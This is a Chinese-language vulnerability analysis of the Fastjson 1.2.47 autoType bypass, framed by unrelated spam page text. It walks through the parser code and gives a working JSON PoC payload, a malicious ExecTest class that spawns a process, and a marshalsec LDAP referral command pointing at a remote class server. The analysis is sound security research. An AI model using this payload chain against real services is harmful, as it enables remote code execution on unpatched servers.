中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

發布時間:2021-12-14 10:32:55 來源:億速云 閱讀:349 作者:柒染 欄目:安全技術

這篇文章將為大家詳細講解有關Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

前言

這次將要介紹的是Fastjson 1.2.47版本存在的漏洞成因以及其利用方式。

Fastjson 1.2.47漏洞分析

Fastjson 1.2.47版本漏洞與上篇文章中介紹的幾處漏洞在原理上有著很大的不同。與Fastjson歷史上存在的大多數漏洞不同的是,Fastjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未開啟時進行

首先來看一下公開的poc

public class demo {
public static void main(String[] args) {
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}}";
Object obj = JSON.parseObject(payload);
System.out.println(obj);
}
}

從代碼中可見,與以往利用不同的是,該poc中構造了兩個json字符串

1、"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

2、"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}

為了弄清楚這樣構造的意義,我們來動態調試一下這個漏洞

程序首先解析第一個json字符串

"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"} 解析過程

我們跳過部分FastJson解析流程,直接來看checkAutoType安全模塊時的操作。對這個字符串中\@type字段進行校驗

在位于com/alibaba/fastjson/parser/ParserConfig.java的checkAutoType安全模塊中,程序首先進入了這個分支,程序調用getClassFromMapping對typeName進行解析,typeName即為字符串中@type的值,在第一個json字符串中,這個值為"java.lang.Class"

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

我們跟入位于com/alibaba/fastjson/util/TypeUtils.java 的getClassFromMappingFastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從上圖代碼可見,程序想從mappings中尋找鍵名為”java.lang.Class”的元素并返回對應的鍵值。值得一提的是,mappings合集與后文將要講到的buckets合集對這個漏洞至關重要,這二者是這個漏洞產生的核心因素

  • mappings合集

mappings中存儲的數據都是什么呢?經過調試可以發現其中數據形式如下圖中所展示

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從上圖可見,mappings中存儲著類名字符串以及對應類對象。然而mappings中的數據又是從何而來的呢?

經過調試發現,mappings中存儲的數據是由位于com/alibaba/fastjson/util/TypeUtils.java的addBaseClassMappings方法添加的

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從Mapping合集中的數據可以猜測,Mapping是用來存儲一些基礎的Class,以便于在反序列化處理這些基礎類時提高效率

在弄清楚mappings列表的由來后,繼續回到正題。我們構造的typeName(@type指定的"java.lang.Class")并不在Mappings的鍵中。因此getClassFromMapping方法返回null,程序繼續向下執行進入下一個if分支。此時程序接著調用deserializers.findClass對傳入的typeName進行解析

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

我們跟入位于com/alibaba/fastjson/util/IdentityHashMap.java的findClass方法進行進一步分析

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從上圖代碼可見,程序會遍歷buckets,取出其中元素的key屬性值的名稱并與傳入的”java.lang.Class”進行比較,如果二者相同,則將這個Class對象返回

  • buckets合集

現在我們要談談buckets合集了。buckets又存儲著什么元素呢?見下圖

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

上圖我們展開了一個buckets合集中元素進行展示。與Mapping合集相同的問題產生了:buckets中的元素都有哪些、他們又從何而來呢?經過調試我們在見下三張圖中找到了答案

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

通過FastJson作者關于buckets合集的注釋猜測,buckets是一個用于并發的IdentityHashMap

回到調試流程中findClass方法來,我們構造的typeName(@type指定的"java.lang.Class")被findClass方法匹配到了,因此java.lang.Class類對象被返回

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

在findClass執行完成后,java.lang.Class類對象被返回到checkAutoType中并賦值給clazz,checkAutoType方法也將于963行處將clazz返回。

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

回顧一下上文中的Mapping合集和buckets合集,Fastjson為什么要將用戶傳入的\@type字段指定的字符串在這兩個合集中匹配呢?

Mapping合集則是用來存儲基礎的Class,如果\@type字段傳入的字符串如果對應了基礎Class,程序則直接找到其類對象并將其類對象返回,從而跳過了checkAutoType后續的部分校驗過程。而buckets合集則是用于并發操作。

但無論Mapping合集與buckets合集實際作用是什么,但凡用戶傳入的\@type字段字段值在兩個合集中任意一個中,且程序使用JSON.parseObject(payload);這樣的形式解析字符串(確保expectClass為空,防止進入上圖957行if分支),checkAutoType都將會直接將其對應的Class返回。

checkAutoType在將clazz返回后,程序將會執行到com/alibaba/fastjson/parser/DefaultJSONParser.java中的如下代碼

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

從上圖第一個紅框可見,checkAutoType在將用戶傳入的@type值返回后,程序會賦值給上圖316行處clazz變量,而上圖384行處的deserialze方法緊接著處理這個clazz變量

跟入位于com/alibaba/fastjson/serializer/MiscCodec.java的deserialze方法中

public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;

?

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);

?

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} 

?

if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

此時傳入deserialze中clazz變量為checkAutoType安全模塊校驗后返回的"java.lang.Class"而fieldName變量值為解析的第一個json字段名"a"

deserialze方法中,與本次漏洞與poc構造的代碼塊主要有三部分,分別是:

  1. 取出json字符串中val值

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);

在這段代碼中,程序將判斷傳入的json字符串中是否有”val”,并將其值通過下圖第一個紅框處的代碼取出賦值給objVal變量。

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

  1. 將objVal變量值轉換為String類型并賦值strVal變量

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
}

這段代碼與上一段銜接,objVal變量值又傳遞給下圖第二個紅框處。strVal變量判斷objVal非空且為String類實例時,將其轉換為String類型并賦值與strVal

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

  1. 調用TypeUtils.loadClass處理val值

if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

這段代碼的作用時,當傳入的clazz變量為Class的類對象時,調用TypeUtils.loadClass處理strVal(即json字符串中的val值)

在分析完deserialze方法的加工流程后,我們回頭看看poc中構造的val值是什么,見下圖紅框處

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

poc中構造的是com.sun.rowset.JdbcRowSetImpl字符串,也就是過往漏洞利用中可利用的類。但是根據之前的分析,自從黑名單機制的完善,這個類早已已經不能簡單的直接利用了,這個漏洞究竟是如何讓這個類繞過黑名單重獲新生呢?我們繼續往下看看TypeUtils.loadClass中的操作,繼續跟入位于com/alibaba/fastjson/util/TypeUtils.java的loadClass

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}

loadClass接收的一個參數:"className"為String類型變量,根據上文的調用關系,這里傳入的是字符串"com.sun.rowset.JdbcRowSetImpl",即className參數值為"com.sun.rowset.JdbcRowSetImpl"

通過分析loadClass方法代碼,可以發現如下代碼

try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
}

在該代碼段中,程序通過contextClassLoader.loadClass(className);方法從字符串類型className變量("com.sun.rowset.JdbcRowSetImpl")獲取到com.sun.rowset.JdbcRowSetImpl類對象,并賦值給clazz變量。此時的className、clazz變量形式如下圖

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

接著,程序判斷cache變量情況:在當cache為true時,將className、clazz鍵值對加入mappings合集(cache默認為true)。

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

經過動態調試可以發現,通過上面的一系列操作,Mappings合集中確實已經加入了我們的惡意類com.sun.rowset.JdbcRowSetImpl,見下圖

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

在我們的第一個json字符串解析完成后,程序隨后會解析我們第二個json字符串

"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}解析過程

與第一個json字符串解析流程完全一致,程序也執行到下圖部分

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

由于這次Mapping中有鍵名為com.sun.rowset.JdbcRowSetImpl的元素,因此clazz被賦值為com.sun.rowset.JdbcRowSetImpl類對象

從下面兩張圖可見,此時上文的流程完全一致,只不過這次返回的時com.sun.rowset.JdbcRowSetImpl類對象

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

com.sun.rowset.JdbcRowSetImpl惡意類被順利返回,但是整個操作流程中并未觸發checkAutoType黑白名單校驗機制。隨后com.sun.rowset.JdbcRowSetImpl惡意類被反序列化,觸發利用

漏洞利用

為了證實漏洞的存在,我們首先在192.167.30.116服務器的80端口web服務上部署ExecTest.class。ExecTest.java中內容如下

java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class ExecTest implements ObjectFactory {

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("xterm");
return null;
}

public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}

public static void main(String[] args) {
exec("123");
}
}

使用marshalsec開啟ladp服務,監聽在1389端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.167.30.116/java/#ExecTest" 1389

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

demo程序執行完畢,計算器成功彈出

Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么

Fastjson 1.2.47版本的漏洞與Fastjson歷史上存在的大多數漏洞不同。本次漏洞相比自立一派,與過往那些針對補丁繞過的漏洞相比,本次漏洞更為復雜與精妙。1.2.47版本的漏洞涉及到一些Fastjson機制類的知識,通過對這個漏洞進行分析,可以更好的了解FastJson框架。

關于Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

涡阳县| 红原县| 方正县| 玉田县| 隆昌县| 平塘县| 绥江县| 九寨沟县| 平武县| 三穗县| 绵竹市| 贵州省| 阜宁县| 新竹县| 柳州市| 柳林县| 万山特区| 德惠市| 孟州市| 日喀则市| 霍林郭勒市| 昌宁县| 贺兰县| 西丰县| 无锡市| 栾川县| 双桥区| 海南省| 三台县| 永川市| 绵竹市| 宁远县| 上高县| 临颍县| 双鸭山市| 卫辉市| 海盐县| 临安市| 介休市| 西乡县| 自贡市|